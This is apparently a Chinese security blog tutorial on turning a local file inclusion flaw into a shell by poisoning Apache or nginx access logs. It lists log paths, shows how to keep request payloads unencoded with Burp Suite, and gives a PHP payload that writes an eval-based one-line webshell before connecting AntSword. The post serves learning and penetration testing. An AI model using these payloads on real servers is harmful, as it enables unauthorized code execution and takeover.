文件包含漏洞进阶--日志文件包含利用
文件包含漏洞进阶–日志文件包含利用
利用环境
- 目标服务器存在文件包含漏洞的前提下
- 没有上传功能下获取权限的方法
原理:
- 当某个php文件存在本地文件包含漏洞,而却无法正常上传文件,这就意味着有包含漏洞却不能拿来利用,这时攻击者可能会利用apache日志文件来入侵
- apache服务器运行后会生成两个日志文件,分别是access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志access.log文件中
利用方法:
总:通过日志文件getshell
- 通过burpsuit发送的请求包产生日志数据
- 包含日志文件
- 写入一句话木马getshell
- 我的理解就是:添加一条日志文件数据,此日志文件中写木马,getshell
日志文件相关
日志文件路径
- nginx日志文件路径:?file=/var/log/nginx/access.log
- apache2日志文件路径:?file=/var/log/apache2/access.log
- 这里主要看access.log这个日志,这个日志记录着服务器所有的访问记录,包括一些攻击流量
没有access.log的原因
- 进入目录下,如果发现没有access.log这个访问文件,是因为apache配置文件没有打开这个配置选项,需要对相应的功能进行开启\
开启access.log
- 通过配置文件开启access.log访问日志功能
- 搜索CustomLog “logs/access.log” common,将前面的##注释去掉,并保存文件,然后重启PHPstudy:
- 访问几个网页,查看记录,对自己访问的页面有记录,说明access.log可以自动记录访问操作
入侵过程
- 通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问内容,即可以在路径后面直接加/phpinfo();
<?php phpinfo();?>
- 通过上图我们可以看出,日志已经成功记录我们的访问历史,但是是经过URL编码后的结果。如何让它记录我们原始完整的代码呢?一般URL编码是我们的浏览器进行完成的,它对我们访问的目录做了URL编码,然后发送到服务器,我们可以通过burpsuite,把经过浏览器URL编码后的数据进行修改。
- 使用burp修改编码后的数据:即将burp中抓的包中URL编码的位置改为原本的字符
- 查看访问日志,可以看出没有编码的phpinfo();代码已经成功记录
- 文件包含只要文件中有Php代码,它就会调用include(),require()等函数将这个文件当作php脚本进行解析,这样我们就可以包含这个日志文件,让目标服务器把日志文件解析为php脚本
- 让访问日志文件记录下写入文件脚本代码:(这个地方就包含了password,为了进行下一步连接蚁剑提供密码)
访问内容:<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[1]);?>') ?>
- 对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功,解析方式:前面该是怎么样就是怎么样,解析不了直接跳过,一直到能够正常解析的位置就去解析
- 连接蚁剑,密码就是上面请求并进行URL编码解码处理后的密码
nginx的access.log文件详解
nginx系统中日志文件一般放在/var/log/nginx下
- 直接使用tail -f命令即可查看access日志
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 h3110w0r1d's Blog!